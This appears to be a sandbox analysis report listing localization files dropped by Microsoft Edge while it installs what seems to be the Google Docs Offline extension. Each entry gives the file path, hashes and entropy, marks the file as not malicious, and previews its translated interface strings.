C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
